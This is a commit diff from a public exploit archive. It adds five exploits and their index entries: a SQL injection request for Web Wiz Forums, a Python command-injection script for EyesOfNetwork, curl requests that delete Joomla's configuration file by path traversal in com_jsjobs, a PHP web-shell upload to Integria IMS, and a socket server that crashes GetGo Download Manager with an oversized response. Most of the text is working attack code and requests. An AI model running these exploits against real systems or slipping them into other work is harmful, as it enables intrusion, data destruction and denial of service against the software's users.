DB: 2019-08-17
5 changes to exploits/shellcodes GetGo Download Manager 6.2.2.3300 - Denial of Service EyesOfNetwork 5.1 - Authenticated Remote Command Execution Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion Integria IMS 5.0.86 - Arbitrary File Upload Web Wiz Forums 12.01 - 'PF' SQL Injection
This commit is contained in:
Offensive Security
parent
ab6387922c
commit
2c0d2ff550
6 changed files with 284 additions and 0 deletions
19
exploits/asp/webapps/47284.txt
Normal file
19
exploits/asp/webapps/47284.txt
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
# Exploit Title: Web Wiz Forums 12.01 - 'PF' SQL Injection
|
||||
# Date: 2019-09-16
|
||||
# Exploit Author: n1x_ [MS-WEB]
|
||||
# Vendor Homepage: https://www.webwiz.net/web-wiz-forums/forum-downloads.htm
|
||||
# Version: 12.01
|
||||
# Tested on Windows
|
||||
|
||||
# Vulnerable parameter: PF (member_profile.asp)
|
||||
# GET Request
|
||||
|
||||
GET /member_profile.asp?PF=10' HTTP/1.1
|
||||
Host: host
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie: wwf10lVisit=LV=2019%2D08%2D16+14%3A55%3A50; wwf10sID=SID=1784%2Da7facz6e8757e8ae7b746221064815; ASPSESSIONIDQACRQTCC=OKJNGKBDFFNFKFDJMFIFPBLD
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
77
exploits/php/webapps/47280.py
Executable file
77
exploits/php/webapps/47280.py
Executable file
|
|
@ -0,0 +1,77 @@
|
|||
# Exploit Title: EyesOfNetwork 5.1 - Authenticated Remote Command Execution
|
||||
# Google Dork: N/A
|
||||
# Date: 2019-08-14
|
||||
# Exploit Author: Nassim Asrir
|
||||
# Vendor Homepage: https://www.eyesofnetwork.com/
|
||||
# Software Link: https://www.eyesofnetwork.com/?page_id=48&lang=fr
|
||||
# Version: 5.1 < 5.0
|
||||
# Tested on: Windows 10
|
||||
# CVE : N/A
|
||||
|
||||
#About The Product:
|
||||
|
||||
''' EyesOfNetwork ("EON") is the OpenSource solution combining a pragmatic usage of ITIL processes and a technological interface allowing their workaday application.
|
||||
EyesOfNetwork Supervision is the first brick of a range of products targeting to assist IT managment and gouvernance.
|
||||
EyesOfNetwork Supervision provides event management, availability, problems and capacity.
|
||||
#Technical Analysis:
|
||||
EyesOfNetwork allows Remote Command Execution via shell metacharacters in the module/tool_all/ host field.
|
||||
By looking into tools/snmpwalk.php we will find the vulnerable part of code:
|
||||
else{
|
||||
$command = "snmpwalk -c $snmp_community -v $snmp_version $host_name";
|
||||
}
|
||||
in this line we can see as the attacker who control the value of "$host_name" variable .
|
||||
And after that we have the magic function "popen" in the next part of code.
|
||||
$handle = popen($command,'r');
|
||||
echo "<p>";<br />
|
||||
while($read = fread($handle,100)){
|
||||
echo nl2br($read);
|
||||
flush();
|
||||
}
|
||||
pclose($handle);
|
||||
And now we can see the use of "popen" function that execute the $command's value and if we set a shell metacharacters ";" in the end of the command we will be able to execute OS command.'''
|
||||
|
||||
#Exploit
|
||||
|
||||
import requests
|
||||
import optparse
|
||||
import sys
|
||||
import bs4 as bs
|
||||
|
||||
commandList = optparse.OptionParser('usage: %prog -t https://target:443 -u admin -p pwd -c "ls"')
|
||||
commandList.add_option('-t', '--target', action="store",
|
||||
help="Insert TARGET URL",
|
||||
)
|
||||
commandList.add_option('-c', '--cmd', action="store",
|
||||
help="Insert command name",
|
||||
)
|
||||
commandList.add_option('-u', '--user', action="store",
|
||||
help="Insert username",
|
||||
)
|
||||
commandList.add_option('-p', '--pwd', action="store",
|
||||
help="Insert password",
|
||||
)
|
||||
options, remainder = commandList.parse_args()
|
||||
|
||||
if not options.target or not options.cmd or not options.user or not options.pwd:
|
||||
|
||||
commandList.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
url = options.target
|
||||
cmd = options.cmd
|
||||
user = options.user
|
||||
pwd = options.pwd
|
||||
|
||||
with requests.session() as c:
|
||||
link=url
|
||||
initial=c.get(link)
|
||||
login_data={"login":user,"mdp":pwd}
|
||||
page_login=c.post(str(link)+"/login.php", data=login_data)
|
||||
v_url=link+"/module/tool_all/select_tool.php"
|
||||
v_data = {"page": "bylistbox", "host_list": "127.0.0.1;"+cmd, "tool_list": "tools/snmpwalk.php", "snmp_com": "mm", "snmp_version": "2c", "min_port": "1", "max_port": "1024", "username": '', "password": '', "snmp_auth_protocol": "MD5", "snmp_priv_passphrase": '', "snmp_priv_protocol": '', "snmp_context": ''}
|
||||
page_v=c.post(v_url, data=v_data)
|
||||
my=bs.BeautifulSoup(page_v.content, "lxml")
|
||||
for textarea in my.find_all('p'):
|
||||
final = textarea.get_text()
|
||||
print final
|
||||
99
exploits/php/webapps/47281.txt
Normal file
99
exploits/php/webapps/47281.txt
Normal file
|
|
@ -0,0 +1,99 @@
|
|||
# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
|
||||
# Dork: inurl:"index.php?option=com_jsjobs"
|
||||
# Date: 2019-08-16
|
||||
# Exploit Author: qw3rTyTy
|
||||
# Vendor Homepage: https://www.joomsky.com/
|
||||
# Software Link: https://www.joomsky.com/5/download/1
|
||||
# Version: 1.2.6
|
||||
# Tested on: Debian/nginx/joomla 3.9.0
|
||||
|
||||
# Vulnerability details:
|
||||
# This vulnerability is caused when processing custom userfield.
|
||||
|
||||
File: site/models/job.php
|
||||
Function: storeJob
|
||||
Line: 1240
|
||||
-------------------------------------
|
||||
|
||||
1215 //custom field code start
|
||||
1216 $customflagforadd = false;
|
||||
1217 $customflagfordelete = false;
|
||||
1218 $custom_field_namesforadd = array();
|
||||
1219 $custom_field_namesfordelete = array();
|
||||
1220 $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
|
||||
1221 $params = array();
|
||||
1222 $forfordelete = '';
|
||||
1223
|
||||
1224 foreach ($userfield AS $ufobj) {
|
||||
1225 $vardata = '';
|
||||
1226 if($ufobj->userfieldtype == 'file'){
|
||||
1227 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
|
||||
1228 $vardata = $data[$ufobj->field.'_2'];
|
||||
1229 }else{
|
||||
1230 $vardata = $_FILES[$ufobj->field]['name'];
|
||||
1231 }
|
||||
1232 $customflagforadd=true;
|
||||
1233 $custom_field_namesforadd[]=$ufobj->field;
|
||||
1234 }else{
|
||||
1235 $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
|
||||
1236 }
|
||||
1237 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
|
||||
1238 $customflagfordelete = true;
|
||||
1239 $forfordelete = $ufobj->field;
|
||||
1240 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //No check.
|
||||
1241 }
|
||||
...snip...
|
||||
1323 // new
|
||||
1324 //removing custom field
|
||||
1325 if($customflagfordelete == true){
|
||||
1326 foreach ($custom_field_namesfordelete as $key) {
|
||||
1327 $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2); //!!!
|
||||
1328 }
|
||||
1329 }
|
||||
|
||||
File: site/models/common.php
|
||||
Function: uploadOrDeleteFileCustom
|
||||
Line: 851
|
||||
-------------------------------------
|
||||
|
||||
748 $path = $base . '/' . $datadirectory;
|
||||
749 if (!file_exists($path)) { // create user directory
|
||||
750 $this->makeDir($path);
|
||||
751 }
|
||||
752 $isupload = false;
|
||||
753 $path = $path . '/data';
|
||||
754 if (!file_exists($path)) { // create user directory
|
||||
755 $this->makeDir($path);
|
||||
756 }
|
||||
757 if($for == 3 )
|
||||
758 $path = $path . '/jobseeker';
|
||||
759 else
|
||||
760 $path = $path . '/employer';
|
||||
761
|
||||
762 if (!file_exists($path)) { // create user directory
|
||||
763 $this->makeDir($path);
|
||||
764 }
|
||||
...snip...
|
||||
843 } else { // DELETE FILES
|
||||
844 if ($isdeletefile == 1) {
|
||||
845 if($for == 3){
|
||||
846 $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
|
||||
847 }else{
|
||||
848 $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
|
||||
849 }
|
||||
850 $file = $userpath.$field;
|
||||
851 unlink($file); //!!!
|
||||
852 }
|
||||
853 return 1;
|
||||
854 }
|
||||
855 }
|
||||
|
||||
#####################################
|
||||
#PoC:
|
||||
#####################################
|
||||
|
||||
# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.
|
||||
|
||||
$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"
|
||||
|
||||
$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"
|
||||
45
exploits/php/webapps/47283.txt
Normal file
45
exploits/php/webapps/47283.txt
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Exploit Title: Integria IMS 5.0.86 - Arbitrary File Upload
|
||||
# Date: 2019-08-16
|
||||
# Exploit Author: Greg.Priest
|
||||
# Vendor Homepage: https://integriaims.com/
|
||||
# Software Link: https://sourceforge.net/projects/integria/files/5.0.86/
|
||||
# Version: Integria IMS 5.0.86
|
||||
# Tested on: Windows
|
||||
# CVE : N/A
|
||||
|
||||
# ---------------------------------------------------------------------------------------
|
||||
# http://10.61.184.30/integria//index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload
|
||||
# ---------------------------------------------------------------------------------------
|
||||
|
||||
# [Description]
|
||||
# filemgr.php in Integria IMS 5.0.86, allows arbitrary file upload.
|
||||
# index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload
|
||||
# ---------------------------------------------------------------------------------------
|
||||
|
||||
POST /integria/index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload HTTP/1.1
|
||||
Host: 10.61.184.30
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://10.61.184.30/integria/index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload
|
||||
Content-Type: multipart/form-data; boundary=---------------------------30333176734664
|
||||
Content-Length: 374
|
||||
Connection: close
|
||||
Cookie: PHPSESSID=1d31d410e9b85f1e9aaa53a2616a550e
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
-----------------------------30333176734664
|
||||
Content-Disposition: form-data; name="curdir"
|
||||
|
||||
|
||||
-----------------------------30333176734664
|
||||
Content-Disposition: form-data; name="file"; filename="whoami.php"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<?php
|
||||
$output = shell_exec('whoami');
|
||||
echo "<pre>$output</pre>";
|
||||
?>
|
||||
|
||||
-----------------------------30333176734664--
|
||||
39
exploits/windows_x86-64/dos/47282.txt
Normal file
39
exploits/windows_x86-64/dos/47282.txt
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
# Exploit Title : GetGo Download Manager 6.2.2.3300 - Denial of Service
|
||||
# Date: 2019-08-15
|
||||
# Author - Malav Vyas
|
||||
# Vulnerable Software: GetGo Download Manager 6.2.2.3300
|
||||
# Vendor Home Page: www.getgosoft.com
|
||||
# Software Link: http://www.getgosoft.com/getgodm/
|
||||
# Tested On: Windows 7 (64Bit), Windows 10 (64Bit)
|
||||
# Attack Type : Remote
|
||||
# Impact : DoS
|
||||
# Co-author - Velayuthm Selvaraj
|
||||
|
||||
# 1. Description
|
||||
# A buffer overflow vulnerability in GetGo Download Manager 6.2.2.3300 and
|
||||
# earlier could allow Remote NAS HTTP servers to perfor DOS via a long response.
|
||||
|
||||
# 2. Proof of Concept
|
||||
|
||||
import socket
|
||||
from time import sleep
|
||||
host = "192.168.0.112"
|
||||
port = 80
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.bind((host, port))
|
||||
sock.listen(1)
|
||||
print "\n[+] Listening on %d ..." % port
|
||||
|
||||
cl, addr = sock.accept()
|
||||
print "[+] Connected to %s" % addr[0]
|
||||
evilbuffer = "A" * 6000
|
||||
|
||||
buffer = "HTTP/1.1 200 " + evilbuffer + "\r\n"
|
||||
|
||||
print cl.recv(1000)
|
||||
cl.send(buffer)
|
||||
print "[+] Sending buffer: OK\n"
|
||||
|
||||
sleep(30)
|
||||
cl.close()
|
||||
sock.close()
|
||||
|
|
@ -6549,6 +6549,7 @@ id,file,description,date,author,type,platform,port
|
|||
47277,exploits/windows/dos/47277.txt,"Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream",2019-08-15,"Google Security Research",dos,windows,
|
||||
47278,exploits/windows/dos/47278.txt,"Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream",2019-08-15,"Google Security Research",dos,windows,
|
||||
47279,exploits/windows/dos/47279.txt,"Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream",2019-08-15,"Google Security Research",dos,windows,
|
||||
47282,exploits/windows_x86-64/dos/47282.txt,"GetGo Download Manager 6.2.2.3300 - Denial of Service",2019-08-16,"Malav Vyas",dos,windows_x86-64,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -41641,3 +41642,7 @@ id,file,description,date,author,type,platform,port
|
|||
47251,exploits/php/webapps/47251.txt,"WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery",2019-08-14,"Princy Edward",webapps,php,80
|
||||
47252,exploits/windows/webapps/47252.txt,"TortoiseSVN 1.12.1 - Remote Code Execution",2019-08-14,Vulnerability-Lab,webapps,windows,
|
||||
47255,exploits/windows/webapps/47255.py,"ManageEngine opManager 12.3.150 - Authenticated Code Execution",2019-08-14,kindredsec,webapps,windows,
|
||||
47280,exploits/php/webapps/47280.py,"EyesOfNetwork 5.1 - Authenticated Remote Command Execution",2019-08-16,"Nassim Asrir",webapps,php,
|
||||
47281,exploits/php/webapps/47281.txt,"Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion",2019-08-16,qw3rTyTy,webapps,php,
|
||||
47283,exploits/php/webapps/47283.txt,"Integria IMS 5.0.86 - Arbitrary File Upload",2019-08-16,Greg.Priest,webapps,php,
|
||||
47284,exploits/asp/webapps/47284.txt,"Web Wiz Forums 12.01 - 'PF' SQL Injection",2019-08-16,n1x_,webapps,asp,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue